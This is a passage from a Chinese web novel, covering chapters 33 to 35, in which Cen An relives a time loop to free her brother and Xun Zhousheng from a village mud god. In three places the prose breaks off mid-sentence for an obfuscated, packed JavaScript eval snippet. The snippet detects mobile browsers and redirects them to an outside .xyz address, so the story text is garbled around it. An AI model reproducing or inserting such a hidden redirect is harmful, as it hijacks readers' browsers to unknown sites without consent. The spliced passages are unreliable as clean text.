他开始记恨泥沼神分配的位置,为什么他和荀耀不能挨着捆在一起,而是隔着一对现场表白的小情侣遥遥相望。他想惊呼想感叹想吐槽,却连个搭伙的伴儿都没有——他总不能越过这对刚刚互通心意的小情侣,和荀耀激情喊话吧,那也太煞风景了。 虽然他前面还劝老姐想开点,但事情真的走到这一步,他还是想把那男的捆起来打一顿——虽然那人现在是被绑着的,奈何他程杉现在也被绑着,有心无力啊。 程杉忿忿想:老姐喜欢,就给那男的一次机会,列入考察期,要是考察不通过,可别怪他不念旧情不心慈手软。 岑桉不知道自家弟弟已经脑补到这么往后的事情了,她已然从暧昧的气氛中脱身,开始谈正事:“你带刀了吗?” 荀昼生也没想到她话题转得丝毫不拖泥带水,颇为无奈,却又拿她没有办法:“没有,但我叫后援了。” “什么后援?”岑桉一懵。 她话音刚落,一个怯生生的声音从山洞门口传了进来。 “叫到我了吗,我可以进来了吗?” 洞口处探进来一个小脑袋瓜——是荀小妹。 她抱着荀昼生的背包,手里还牵着一只大手,彻底迈入洞门时,那只大手主人也露出了真容。 “妈——”荀耀嗷嚎一声就哭了出来,“妈你终于来了!我害怕——” 上一秒他还沉浸在现场观剧的热闹里,下一秒看到亲妈,立刻唤起了这一路的无助和恐惧,汪地一声哭成了个泪人。 王春花原本还慢腾腾地挪着步子,听到儿子的哭声猛然冲了进来,上下左右把他检查了个遍,心疼地问:“妈来了妈来了,别怕别怕啊,谁把你绑起来的啊?妈去找他算账!” “是怪兽——” 他抽噎着,把方才的事还原了个大概。 王春花忽然就沉默下来。 岑桉看出她神色有异,出声询问:“您知道祂,对吗?” 王春花没答。她半晌才木然地看着自己的手掌:“我是不是,也成怪物了?” 荀耀嘎地一下停止了哭声。 “王婶,如果你知道什么隐情,一定要告诉我们。你从小看着我长大,在我眼里你就是半个长辈,无论你做了什么,肯定都是有苦衷的。”荀昼生劝道。 岑桉幽幽瞥了他一眼,腹诽道:她也没干什么,就是杀了我一次,杀了我弟一次。 荀昼生接收到了她的眼神,无措地捻了捻手指,开始回忆自己是不是说错了话。岑桉叹了口气,不能以自己视角的“过去”要求他,眼下劝动王春花是一件有利无害的大好事。 岑桉说:“您确实做了一些事情,但我愿意相信不是出自您本心,只是被那摊烂泥控制,不得已而为之。您要是愿意相信我们,就把您知道的都说出来,或许我们能帮上忙。” “那都是几十年的老黄历了……”王春花垂下眼,“当年——” “建议您长话短说,”岑桉也想听个详尽,但现在确实是人家的地盘,“我怕那位一会儿回来,咱们谁也走不了。” 然后她就见证了王春花像烫嘴一样倒出一长串:“路灯能放大心里的情绪醒了就不记得了祂拿愿望要挟我们杀人不然就会收回愿望祂都好几年没动静我以为没事了结果祂又蹦出来了。” 岑桉:“……” 是着急,但也没这么着急。 也就是说,夜晚亮起的路灯能放大人心里的阴暗面,泥沼神就是通过路灯掌控人心,利用村民替祂杀人,如果不杀,就会收回祂曾经馈赠的心愿。即便是真的不愿意杀人的,也会因路灯的放大作用,在夜晚做出超乎自己底线的举动,在第二天醒来时便会忘记夜晚的一切。 那王春花的心愿—— “我家那口子出事之前,我想要个孩子。”她像失去了浑身的力气,“祂让我杀人,我没敢。我不知道我有没有真的……但我不想,对不起。” 她有。 岑桉想。 但这不是她甘愿的。 岑桉决定暂且放下过往的恩怨。 “谢谢您告诉我这些,我也告诉您一个秘密。其实我有重来一回的能力,”她说,“您有什么能告诉我的秘密吗?任何都可以,只要我一说您就能相信我的那种,我希望再次重来的时候能得到您的帮助。” 王春花想说瞎扯什么呢,但看到岑桉严肃的神情,她实在说不出口。 那就信一回,信一回又能咋,不亏。 她扯了扯头巾,下定了决心:“我床底藏了三千两百一十二块五毛,给耀耀攒的。” “好,”岑桉郑重点头,“我记下了。” 见两人的对话结束,荀昼生才转头问荀小妹:“包里的东西都在吗?” 她兴奋得小脸通红:“都在!” “能不能帮我把里面的短刀拿出来?” 荀小妹手忙脚乱地找出包底的那把短刀,举到荀昼生面前,两只黑豆一样的眼睛闪闪发亮:“是要用血发誓吗,一生一世永不分离那种?” 荀昼生:“……” 岑桉:? 岑桉倒吸一口凉气:“你刚才,都听到了?” “嗯!”荀小妹毫不犹豫地点头。 “从哪句开始听的?”岑桉艰难地做着最后抵抗,要是没听全说不定还能挽救一下,有一个程杉一个荀耀就已经够够的了,她没想真被围观。 “就算是困扰我也想把这些告诉你。”王春花冷不丁插进来一句。 “嗯嗯!我和婶婶都听到啦,大哥哥好勇敢,姐姐也好勇敢,你们要永远幸福!” 岑桉:“……” 谁能救救她。 “没事的,”荀昼生小声劝慰,“再重来一次,她们就都不记得了。” 这话倒是恰到好处地让她感到一丝宽慰。 “我担心发生意外,就把东西都交给了小妹,让她去找王婶带她来山洞,”荀昼生用勉强能动的左手接过短刀,刚好能够到岑桉的右手,“现在要吗?” “划吧,我先把大家放下来。”岑桉说。 荀昼生僵硬地把刀尖对准她的掌心,怎么也下不去手。 王春花看不下去了:“娃娃你要干啥,我来吧。” 她问清楚方法,干脆利落地给岑桉手心来了一刀,鲜血淌出的瞬间,经幡竹竿浮现岑桉掌心。 岑桉不甚灵活地用竹竿戳向了自己手腕上的泥铐,只一下,泥就裂了个彻底。她依次给几人松了绑,程杉刚获自由就猛一下飞扑过来:“老姐——” 岑桉嫌弃地按住了他的头。 那边的荀耀径直扑在王春花怀里,眼里还含着泪:“妈我是你亲生的吗?你不会不要我吧?” 那一长串话被他听了进去,虽然没搞清楚状况,但他听懂了,自己是妈妈跟那个大怪兽许愿得来的,那他是不是个小怪兽? “你是妈身上掉下来的肉,妈不要什么也不会不要你的。”王春花拍了拍他的背,抬头时对上了荀小妹羡慕的目光,冲她招招手,“小妹,你也过来。” 荀小妹乖乖巧巧地贴了过去,被王春花一把揽在怀里:“乖妹,好娃娃,你们都是我的娃娃,我就是豁出去这条命,也不能让你们有事。” 岑桉眼眶发酸。 荀昼生摊开手臂,声音轻得像一阵风:“我能,抱抱你吗?” 岑桉没答应 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16266822|180469||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,也没拒绝,往前凑了一步,荀昼生几不可察地松了口气,环抱住了她。疲惫的鸟儿寻到了温暖的巢穴,短暂地停留下来避风躲雨,攒够了力气,便要拍拍翅膀再次飞往征途。 “抱什么抱什么,我也要抱——”程杉吸铁石一般严严实实地贴了上来,一手揽了一个,咧着嘴角像是吃了块醋味的软糖,虽然酸,但好歹是糖。 荀昼生最先松开了手,警惕地望向山洞口:“有人来了。” 岑桉严阵以待,摆好架势迎接泥沼神,没想到来的却是荀伯成。他还没站定,在看到经幡的那一秒扭头就是跑,被岑桉一竿抵在地上,一动也不能动。 “你们怎么下来的!祂怎么能放你们下来!老二媳妇,你傻站那儿干什么,来帮我啊!”荀伯成又怒又怕地吼道。 王春花早就对他恨得牙根痒,没趁机踹上两脚已经很给面子了,她紧搂着两个孩子站在最后,连边都不靠近。 “是个小虾米,”程杉狐假虎威,背靠老姐啥都不怕,“咋处理啊姐?” “虾米也是肉,不能浪费。”岑桉歪头盯着荀伯成的侧脸,“我问你,那摊泥想干什么?” “我就是个小角色,我哪儿知道啊——啊啊啊别戳!拿远点!我说,我都说,祂想要程杉从缆车上掉进祂的契阵,然后把身体让给祂,祂就能从这里出去找更多信徒、得到更多力量,我、我能说的都说了,你放过我吧。” “祂是怎么盯上程杉的?”岑桉问。 “那不是你们自己送上门来的吗——吗啊啊,错了错了,我嘴贱,我该死,但这事儿本来就轮不到你弟头上,原本,原本祂看上的是荀昼生,对,就是你身边那个,你有仇有怨找他报去啊,逮着我干啥啊!” 岑桉毫不手软,拿竹竿抵上了他的后颈:“祂又为什么看上荀昼生?” “谁让他能出去啊,全村就他一个人能自由出入,谁知道他动了什么手脚啊!”荀伯成紧贴着地面,脖子僵得发直,“我真就知道这么多,你、你放我走吧,我保证不给你们惹麻烦。” 岑桉问得差不多了,看向荀昼生:“你还有问题吗?” 他神色有异,轻点了下头。 荀昼生问:“十年前那场雪崩,跟你有关系吗?” “十年前?老二死那年?关我屁事啊——啊啊,不是,你威胁我也没用啊,我哪知道为啥雪崩啊?” “给你点提示,”岑桉道,“你当年许了什么愿?” “许愿?”荀伯成一愣,“你咋知道的?” “你别管我怎么知道的,回答。”岑桉抬了抬下巴。 “我,我就说,我想当村长,那跟雪崩也没关系啊……”他讪讪。 都对上了。 岑桉先前的揣测成了真。 荀伯成许愿想要村长之位,所以泥沼神替他除掉了最大的竞争对手荀仲安,连带着那么多条无辜的生命一同埋葬在了雪下。 岑桉抬头去看荀昼生,她不知道他为什么会问这个问题,但她在他的脸上看到了落寞和恍惚。兴许是感知到了她的目光,荀昼生浅浅地扬了下嘴角,带着显而易见的安抚意味,语气却平静得像一潭死水:“我爸妈留在了那场雪崩里,没能走出来。” 她心头一颤。 “都过去了,姑姑带我去了新城市,后来都慢慢好起来了。” 明明是他在难过,却也是他在安慰,岑桉一手用竹竿扼住荀伯成,另一只手带动着臂膀伸展开来:“要抱抱吗?” 荀昼生不由自主地笑了起来,恍如清风拂水面,波澜乍起。他投入她的怀抱,轻轻把头依偎在她的肩膀上:“谢谢你。” 岑桉清了清嗓子,掩饰自己嗓音的干涩:“咳,应该的。” 34. 第三十四章 “那个——” 微弱的挣扎声打破了旖旎的氛围。 程杉不悦地抬头看向出声方向,荀伯成颤抖着举起右手:“我能走了吗?” “老姐,”程杉挤眉弄眼,“放虎归山啊?” 岑桉老神在在地松开了荀昼生,左手又往下一抵:“我什么时候说过要放你走?” “你——”荀伯成怒目圆瞪。 岑桉侧头看一眼荀昼生:“打晕了怎么样?” 他赞同:“可以。我来试试?” “行,你来。”岑桉轻松地换了持竿的手,左手一使劲,就把荀伯成从地上拎了起来,“程杉,先把他手绑上。” “呃,”程杉挠了挠头,“也没绳啊。” “荀昼生包里——哦对,这次可能真没有,”岑桉忽然想起来,他随身带绳是上一个循环的事儿了,“那算了,也没事,你下次记得带绳。来,敲他后颈,用点劲儿。” 荀昼生乖乖照做,一下下去,人没倒,痛得荀伯成嗷嗷叫:“你们欺人太甚!别怪我鱼死网破——唔唔——”他话没说完就被程杉堵上了嘴,道具还是那个老道具,是荀耀用过的那根毛巾。 “唔——”荀伯成激烈反抗起来,岑桉给了程杉一个赞许的眼神,继续指挥荀昼生:“看准位置,再来一次。” 啪。 与荀昼生下手同时响起的是一声含糊的“呃嗷嗯”,岑桉觉得耳熟,灵光突现时慌忙撒开了已经瘫软倒下的荀伯成,冲王春花大喊一声:“刀!” 王春花反应迅速地冲了过来,岑桉一手拉着她,一手扯上荀昼生,狂奔出了山洞,遥遥看到泥沼神受召而来,气势汹汹地现身在不远处的泥潭。 外头已是日头西斜,日光乍现的一瞬,影子也出现在了地上。岑桉一刀划在自己的影子上——没划动,王春花立刻领会到她的用意,眼疾手快地夺过刀,一把蹭上泥灰,继而狠狠割破了岑桉影子的脖颈处。 岑桉意识模糊前,对着荀昼生比了个口型:“我,等,你。” “当心何绣娟和荀大正!”他急切的声音穿过混沌进入了她的耳中。 而后她便陷入了无边的黑暗。 * “姐——” “老姐!” “姐你被夺舍了吗?” “醒醒,醒醒啊!” 岑桉从涣散的意识中清醒过来,头顶的大太阳晒得人发晕,身体被人前后摇晃着——哦,不是太阳晒得晕,是被人摇晕的。 “我没事,你放开,再摇就要被你摇出事了。”岑桉拨开他的手,“这是在哪儿?” “姐你傻啦?”程杉用异样的眼光看着她,“你不是说要去老村长家吗,怎么到大门口就站住不动跟睡着了一样,我怎么摇你都没反应。” 岑桉揉了揉太阳穴:“怎么倒带到这儿了。” “倒带?”程杉一懵,随机兴奋起来,“姐你是不是又循环回来了?” “循环”两个字戳中了岑桉的敏感神经,她一把捂住了程杉的嘴,上上下下检查了一遍身上有没有泥点、周围有没有泥潭,才松了口气:“别提,别说,别问。” “哦。”程杉不理解但照做。 “不去老村长家了,咱们去——”她说着说着忽然想起来一个关键点,险些咬到自己的舌头,“刚才,我们跟荀昼生分开过了?” “对啊。”程杉奇怪地点点头。 “那个话题,就是我刚才不让你说那个,已经跟他讨论过一次了?” “对啊对啊。”程杉不明所以,“你俩讨论得热火朝天、相见恨晚的,咋啦,有问题?” 岑桉一口气差点没提上来。 “糟了。”她喃喃,“这回得抓紧时间了。” * 岑桉之前就一直在思考,泥沼神是怎么得知循环一事的。 第一次循环王春花得祂的授意,手起刀落就把她干掉了,第三次循环更是如此,祂和荀伯成前后夹击,就为了杀她灭口,那凭什么第五次祂就能忽然知道循环的存在呢? 她把几个细节点琢磨了个遍,忽而想起荀昼生说过的话。 他说:“不要弄脏自己。” 他还说:“谨言慎行。” 岑桉有个大胆的想法:或许泥沼神能够通过泥来掌握信息。 脑海里忽然串联起许多细节。 第一次见面时,荀昼生就指导程杉擦行李箱,第二次见面上缆车前,荀昼生擦掉了操作设备上的灰土。 岑桉原本以为荀昼生有洁癖,后来也怀疑过其中另有深意,甚至为止付出过行动:比如下泥潭前套在脚上的塑料袋,比如用短刀割掉裤腿上的泥点。 但时间久了也就疏忽了——上次她和荀昼生探讨循环时,没有刻意检查过身上是否“干净”,甚至离那片湖沼不算遥远。 一定是其中有所疏漏,才导致这么重要的线索被泥沼神拿到手。 岑桉回溯的时间一次比一次靠后,这个节点恐怕没有重来的机会了,她没有工夫懊悔,只能抓紧时间做她该做的事。 “走,”岑桉说,“咱们去索道。” 荀伯成说过,泥沼神想要程杉从缆车上掉进祂的契阵,那么那个所谓的“契阵”就一定在索道下那片区域,她得去破坏祂的计划。 * “姐,你是要捡垃圾吗?” 抵达索道下的涓流湖沼时,程杉终于忍不住发出了质疑。 岑桉把浑身都捂得严严实实,脚踩塑料袋,手戴一次性手套,最外头还披了件雨衣。 她懒得跟什么都不懂的小屁孩一般计较,再次检查了一边这身行头,对自己的浑身武装很是满意——这样一来,应该就能延缓泥沼神找到她的速度了吧。 “大人的事情你少管,这块石头我给你擦干净了,你就老老实实在这坐着,哪儿也不许去,有事就喊救命,知道吗?” “遵命。”程杉垂头丧气地坐了下来。 岑桉也找了根带尖的树枝,往手心一划,召唤出了经幡竹竿,程杉在不远处发出了惊叹:“酷——” “安静点,没事别叫唤。”岑桉没好气地白他一眼。 他那嗓门一亮,她差点以为泥沼神这就闻着味儿来了。 岑桉用小树枝四处扒拉着泥沼,看到什么可疑的痕迹就用竹竿戳戳看,没反应就换下一处。她也不知道自己到底找了多久,腰都要直不起来了,她还是没找到一丁点契阵的迹象。 不应该啊。 她皱了皱眉头,打算再扩大范围,却听到程杉一声怪叫:“姐,你看鱼!” 鱼? 岑桉顺着他手指的方向看去,溪流中的鱼儿游得四平八稳,既不摇头,也不摆尾,像被规训了游行的轨道,半点不能逾越。 她心中生疑,将经幡竹竿伸进了那片水流中,水底泛起了褐色发光的符文——找到了。 岑桉用竹竿搅乱了水流的方向,一竿插进水底的泥地,符文刹那间汇成光点,又消失不见。有了开头,后面就都好说了,她沿着溪流把周边一圈都搅了个遍,一边搅一边请教有经验的人士:“按理来说,毁了一处,阵法就算破了吧?” “好像得有个阵眼吧。”程杉也不是很确定。 “那按你的经验,阵眼应该在那个位置?” “最薄弱或者能量流动最大的地方?”程杉茫然,“我看番光顾着爽了,谁学知识啊。” 岑桉:“……” 她认栽了。 上回扫雷寻宝,这回扫雷寻阵眼,回去之后她再也不想碰扫雷游戏了。 岑桉直起身,捶了捶后腰,发梢先于她感知到了风的来临。 蓬勃的绿叶随着路过的风悉簌作响,岑桉捏了捏发酸的肩颈,目光落到了丛木之中——随风而动的叶片中,有一簇格外不合群,任风吹任枝摇,它都岿然不动。 阵眼,会在树上? 岑桉有点怀疑自己的眼睛。 她认知里的阵法,都是在地上的,怎么会浮在半空 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16278336|180469||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、挂在树上呢? 但既然有端倪,就绝对不能放过。 岑桉拎着竹竿冲了过去,一竿插进了树底的泥堆,那簇树叶猝然落下,就落在她的手中。 岑桉:? 她拿着那几枚树叶仔细端详,见上头叶脉隐隐发亮。岑桉心念一动,将树叶扔到了土堆上,拔出竹竿再次捣了下去,竿底与树叶接触的瞬间,褐雾弥漫开来,眼前的景象全都淹没在雾色之中。 “程杉——”岑桉大喊着弟弟的名字,却听到刀锋破风的声音,下意识向后一避,视线里出现了一个熟悉的人影。 那人一刀不成,反手就探向岑桉身底的影子,却发现雾色遮掩之中无光无影,根本无从下手。 岑桉捕捉到了这一瞬生机:“你给荀耀攒了三千两百一十二块五毛,就在你床底下。” 王春花一滞。 “你怎么知道?”她声音嘶哑。 “我还知道,你不是真的想杀我,”岑桉也不知道现在路灯有没有亮,死马当活马医,“你跟我念,煤、油、灯。” “煤、油、灯。” “再念,一直念,念到脑子里只剩煤油灯。” 王春花许是被她报出的准确钱数惊住了,真的按照她的要求一遍又一遍念个没完,直到眼中逐渐恢复神采,直到握刀的手乍然滑落,王春花怔然冒出一句:“我要杀你?我是不是,变成怪物了?” 见她没了攻击性,岑桉松了一口气:“不是您的错。” 雾色仍浓,她除了王春花一个人都看不见:“您看到我弟弟了吗?” “没有,我的任务目标是你,呃,是活捉你。”王春花脸上浮现出茫然之色,“我也不知道为什么,下意识就想割断你影子的脖子。” 她惭愧地低下头:“对不起妹子。” 岑桉:“……” 她就说泥沼神明知道循环存在怎么还要杀她。 敢情是这位婶子杀顺手了。 “您知道为什么要割断脖子吗?”岑桉问。 王春花摇摇头:“不清楚,可能是增强祂力量的方式吧,以前被路灯操控着杀过人的,第二天醒来脖子上都有道泥痕,我也是后来才知道的。” 岑桉不敢摸黑去找程杉,现在连个方向感都没有,贸然行动只会增大两人错过的可能。她扯着嗓子大喊程杉的名字,没有任何回音,褐色的浓雾紧紧裹挟着她和王春花,岑桉疑心是方才的树叶在捣鬼。 “婶子,”岑桉转向她,“那位,就是那摊泥,祂有什么弱点吗?” “怕经幡,”王春花笃定,“公公有本日记本,就是用经幡封口藏在土里,才一直没被祂发现。” 经幡现在就在她手上,她该怎么做? 岑桉闭上眼,从头到尾捋着关于经幡的线索。 经幡,经幡。 蓝色对应天空,白色代表祥云,红色象征火焰,绿色代指绿水,黄色呼应土地。 ——对了,火焰。 像是感应到她的心声,岑桉睁眼的瞬间,竹竿上的经幡犹如熊熊烈火燃烧起来,把树叶和土堆烧了个一干二净,把浓雾灼破了一个大口子。火焰燃尽时,经幡安然如故,完好无损,竹竿连一丝烧灼的痕迹都没有。 雾色渐散,岑桉四下巡视,原本程杉坐着的那块大石头干净如初,只是上面的人已无踪影,地上多了四行脚印。 “婶子,我得去找我弟弟,您愿意帮我吗?” “废什么话咧,快走!” 王春花一挥手,岑桉便沿着脚印飞奔而去,一路七拐八拐居然来到了缆车乘坐点,那里站着两位老人,岑桉只见过一次——在那次泥潭作战的夜晚,两位老人就站在老村长身后,是泥沼神的信徒。 她脑海中再次响起了荀昼生的声音—— “最后一次是在索道边,我看到了你的尸体。” “当心何绣娟和荀大正!” 小娟,大正。 岑桉终于把日记中的这两号人对上了脸。 35. 第三十五章 “妹子,”王春花一把搀住岑桉的胳膊,“你确定是他俩带走的你弟弟?” “脚印就到这里,还能有其他人吗?”岑桉反问。 “会不会有误会?”王春花舔了舔干裂的嘴角,“妹子,他们俩是村里最早被那位控制的,娟姨发现之后就把自己和正叔锁了起来,不准任何人放他们出来,远弟每天都会去门缝里给他们塞吃的喝的,连他都没有钥匙,其他人更进不去啊。” “可他们现在就在这里。”岑桉相信自己的眼睛。 “我知道,我知道,万一他们也是被控制——”王春花说到一半就没了声,“就算被控制也是他们不对,是我着急了,对不起妹子。” 她说话间,何绣娟和荀大正已经发现了她二人的身影,冲过来的速度完全不像这个年纪的老人家。岑桉一直紧盯着他们的动作,此刻更是反应迅速地挥起了竹竿,一人抗住了两位的进攻。 忽然,一根长棍横插进来,替她抵住了两人袭来的身躯。 王春花许是不忍心对两位老人动刀,不知从哪里找来一根拳头粗的木棍,双手撑着棍子挡住了他们的脚步。 “去找你弟!这里有我,”王春花头也不回,“他俩屋在湖沼东头,就在小妹家附近,要是还没有就去山洞里找,快!” “婶子,刀借我一用!”岑桉大喊一声。 王春花一甩手把短刀扔到了她脚下,岑桉也不作犹豫,拾起刀转身就跑。 尽管她知道程杉暂时不会死,但万一呢,她哪里敢拿弟弟的命来赌这个万一。 短刀是她的最后一道保障,她得有死的余地。 得快点,再快点。 倏忽间,天旋地转,不知是什么绊住了她奔跑的步伐,岑桉摔得打了几个滚,浑身都沾满了泥,一张早就铺好的大网把她兜在了树上。她一低头,正对上了荀伯成的脸。 他面色轻蔑,张嘴就是一口鸟语:“祂真是糊涂了,仪式要提前也就算了,一丫头片子,有什么好留活口的,杀了完事。” 荀伯成高高地举起斧柄,沾了泥的斧刃剁在地上,斩断了她影子的脖颈。 * 昏暗。 无边无际的昏暗。 像被利刃划过喉咙,像从半空猛然坠落在底,浑身如同碾碎般疼痛。 “姐?” “姐!” “是不是中暑了?娃娃你先把她放地上,俺去给她倒点水。” “妹子,妹子?哎哟,怎么捂成这样,快快,把她翻个身,给她把雨衣脱下来。” 岑桉再度睁开眼时,对上了三张关心的脸—— “好点没妹子?你说你,穿这么多干啥,不热啊?”王春花伸手试了试她的额头。 “水来了水来了,哎呀,醒了!来来来,快喝两口。”荀叔远端着水递到她嘴边。 “你可醒了姐!吓死我了,你都不知道,你刚才嘎巴一下就晕过去了,我魂都吓没了!”程杉后怕地拍着心口。 又……回来了? 岑桉撑着地慢慢坐了起来:“这是在哪儿?” “你刚刚说要去索道,我也不知道为啥你要套成这样,走到一半就倒了,幸亏有叔叔和婶子在。”程杉把脱下来的雨衣团吧团吧揉成了球,“你快喝点水,这衣服就别穿了吧。” 还好,还好,都来得及。 岑桉小口小口地喝着水,肚子忽然咕噜噜叫了起来。 岑桉:“……” 上回找了半天阵法都没饿,怎么这回晕了一遭肚子就挺不住了。 “是不是饿了?怪我,你们大老远来,还只吃了一顿早饭吧,我去给你们弄点吃的。”王春花站了起来,神色略不自然地捻了捻手指,“就是吧,村里平时也没个客,谁家几张嘴吃饭都有数,粗茶淡饭的也不知道你们——” “程杉,”岑桉打断了她的长篇大论,“给婶子钱。” “啊?哦,哦!对对婶子,我们吃饭应该付钱的,之前忘了这茬了,真对不住啊。”程杉从杂乱的背包内层翻出钱包掏现金。 “啧,要啥钱啊,来的就是客,俺去给你们做饭,不要钱。”荀叔远拦住了程杉给钱的手,王春花一把把钱抽了出来:“你不要我要,我还得给耀耀攒钱呢。” “老头不让他上学,你攒钱有啥用啊。” “你甭管,等以后村门开了,我砸锅卖铁也得送耀耀上学,上了学才有出息。” 岑桉暗暗叹了口气。 她说:“婶子,别忙活了,随便给我个馒头什么的就行,我赶时间。” * “姐,你赶什么时间啊?” 程杉一口馒头一口酱菜,很快就把自己喂了个饱,反倒是肚子咕噜响的岑桉没吃两口就放下了筷子,拿着纸笔写写画画。两人饭后谢过王春花就上了路,匆匆忙忙地赶到了索道下的丛木溪流旁。程杉想破脑袋也不明白,到底有啥可赶的。 “时间紧,任务重。”岑桉活动了下手脚,照旧捡了根树枝划破手心,“你就跟着我,一步也不准走远。” “得嘞,小弟遵命。”程杉应得相当流畅。 他自个儿都不知道为啥,好像已经成习惯了。 岑桉凭着记忆找到了那棵有问题的树,召唤经幡,插竿,扔叶,燃火,破雾,一套流程行云流水,连出场机会都没给王春花。岑桉直接省去了同她交流的过程,拉着程杉一路火花带闪电,径直奔向缆车乘车点。 先前还是耽误了些时间,何绣娟和荀大正老两口已经完工走人了,只余下泥泞的脚印,和索道链上明显的泥灰。岑桉想,她那次高空坠亡大概率是做了替死鬼,泥沼神就是通过这道泥控制索道断裂、导致缆车坠落的。 她掏出湿巾把泥灰抹去,仔细检查过没有疏漏,便推着程杉上缆车。 “上车干啥啊,你要带我去哪儿,不拯救世界了吗?”程杉问。 “你姐我该干的都干完了,现在就剩下保你的小命了。”岑桉瞪他一眼,“别磨蹭,快上车。” 已知泥沼神要举办祭神仪式,需要程杉从缆车坠落到契阵,才能完成祂的计谋。 眼下岑桉毁了泥沼神的阵法,又破坏了索道的断裂契机,只要再把程杉送上雪山,让他在经幡的庇护下安然度过明天,这事儿就算成了。 应该,是这样吧。 岑桉想了又想,觉得逻辑链十分通畅,便把程杉塞上了缆车,自己也坐了上去,正要关上缆车车厢门时,她听到了熟悉的声音:“劳驾,请稍等。” 她蓦然回首,对上那张熟悉又陌生的脸。 他还穿着上次的黑衫,神色漠然,一双眼深不见底,没有波澜,没有温度,仿佛是个没有欲求的空壳。 程杉只看了一眼就打了个寒战:“好冷,哥们怎么一次比一次冷啊,吃冰块了?” 荀昼生也没反应,轻描淡写地点了下头:“你好,麻烦往里腾一个位置,谢谢。” 程杉默默地挪到了对面最里的座位上,把老姐身边的位置留给了他,结果这男的丝毫不知好歹,居然坐到了他身边。 程杉气得瞪着眼瞅他:干嘛!不想追我姐了? 荀昼生没看懂,但岑桉看懂了。 她伸手叩了一下程杉的脑门,当着荀昼生的面,又过了一遍安全检查和设备操控的流程,擦拭掉表面肉眼可见的尘土,甭管是不是泥,宁肯错杀不肯放过,确认完毕才拉上了车门。 岑桉坐稳时,心也落回了肚子里。 程杉的安全得到了保障,她也有心思仔细打量起荀昼生。自从意识到双向逆向循环这件事后,岑桉才发现原来他身上处处有痕迹,就像程杉说的,他一次比一次冷,就像一汪慢慢封冻起来的潭水,此刻任风吹雨打也不为所动。 她想起荀昼生的父母。 她不知道他是从什么时候开始怀疑那场雪崩,也不知道当他把泥沼神、雪崩和那场许愿联系在一起时,会是怎样的心情,她只能看到,眼前这个人连点人气都没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16278337|180469||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 他客客气气地同姐弟两人打了招呼,聊了两句天气,仿佛是从未见过的陌生人——不,也许并不是仿佛,这就是他眼中的初见。 他温和又疏远,像是遥不可及的雪山,宽宏地站在世人身侧,却不会与任何一个具体的人产生密切联系。岑桉这样想着,忽然有些想笑,她很难想象他真的喜欢上一个人的模样,尽管他已经同她互通了心意。 多么大的工程,她居然有捂热一座雪山的能力。 倘若这才是她眼中的初见,她一定会离他远远的。 ——谁要去融化冰雪,直接去寻一处春天不好么。 “你们是外地来的旅客吗?”荀昼生问。 “哥你不知道?”程杉一副见了鬼的表情,“咱们都见过两回了!” 岑桉被逗笑出声,两人的目光一同落到她身上。 她抬头正视荀昼生的脸,驱散掉方才心里的想法——那有什么办法呀,谁让她先见到了春天,才发现他原来是冰雪,已经给了人承诺,总得给他个机会。 “你好,初次见面。”岑桉牵起嘴角,“接下来的话可能有点离奇,但我向你保证每一个字都是真实的。无论你相信与否,拜托暂时不要打断我。 先前都是他在做引路人,这次轮到她了。 “有摊烂泥看上了你的身体,最早是想鸠占鹊巢夺取你的身体离开荀家村,现在祂又看上了我弟,所以祂是我们未来共同的敌人。” 岑桉从兜里掏出事先准备好的纸,上面复刻了她做的第一版生僻字夹杂“泥”“沼”“神”。 “这是祂的名字,一定一定不能说出来,祂会听到。” 程杉眼睛瞪得滚圆,老姐在王春花家写写画画,原来是在准备这个东西啊——但这是个啥啊,他怎么从来没听说过? “还有路灯,你知道的,路灯也是祂的作品,能够操控人心,具体操控到什么程度我不清楚,但有一个咒语你记好,煤、油、灯,只要感觉不对就默念一遍,不够就再念几次,直到脑海里全都是煤油灯为止,就能彻底摆脱控制了。” 荀昼生愣愣地听着她连环炮一样说完这段,才问:“你是雪山娘娘的灵童?” 岑桉:? 岑桉:“你看我够得上灵还是够得上童?” 程杉扑哧一声笑了出来。 “那这个——”荀昼生迟疑地指着她手边的经幡竿,“这不是雪山娘娘的象征吗?” “这个啊,”岑桉笑了起来,“这是‘金箍棒’,你以后就知道了。” “我一直想问来着,”程杉举手,“姐,这玩意儿谁给你的啊?” 这问话岑桉听着耳熟,一时想不起来在哪里听过。 她原本没想说的,毕竟一切很快就要迎来尾声,程杉没有知情的必要,而荀昼生又算是直接当事人,迟早会知道。但瞄到荀昼生认真的表情时,岑桉突然有些感慨:“是一个呆子,一个不知情的呆子,还是个只知道付出还有口难辨的傻子。” 话出了口,她忽地一顿。 